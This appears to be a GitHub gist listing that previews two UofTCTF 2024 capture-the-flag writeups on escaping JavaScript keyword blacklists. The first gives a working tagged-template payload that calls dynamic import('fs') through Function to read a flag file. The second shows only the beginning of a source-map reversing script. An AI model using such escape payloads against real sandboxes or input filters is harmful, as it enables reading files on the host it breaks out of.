Skip to content

Instantly share code, notes, and snippets.

@j4k0xb
j4k0xb / writeup.md
Created January 15, 2024 15:13
UofTCTF 2024 Baby JS Blacklist writeup

There are multiple ways to call a function without using a call expression. import() is a special syntax that can only be a call expression so it has to be wrapped in Function or eval.

  • Tagged template:
Function`import('fs').then(fs => console.log(fs.readFileSync('flag', 'utf8')))```;
  • Optional call expression:
@j4k0xb
j4k0xb / _writeup.md
Last active January 16, 2024 03:44
UofTCTF 2024 JS Blacklist writeup
const fs = require("fs");
const { SourceMapConsumer, SourceMapGenerator } = require("source-map");
function reverseSourceMap(sourceMap) {
return SourceMapConsumer.with(sourceMap, null, (consumer) => {
const reversedMap = new SourceMapGenerator();
consumer.eachMapping((mapping) => {
reversedMap.addMapping({
generated: {
line: mapping.originalLine,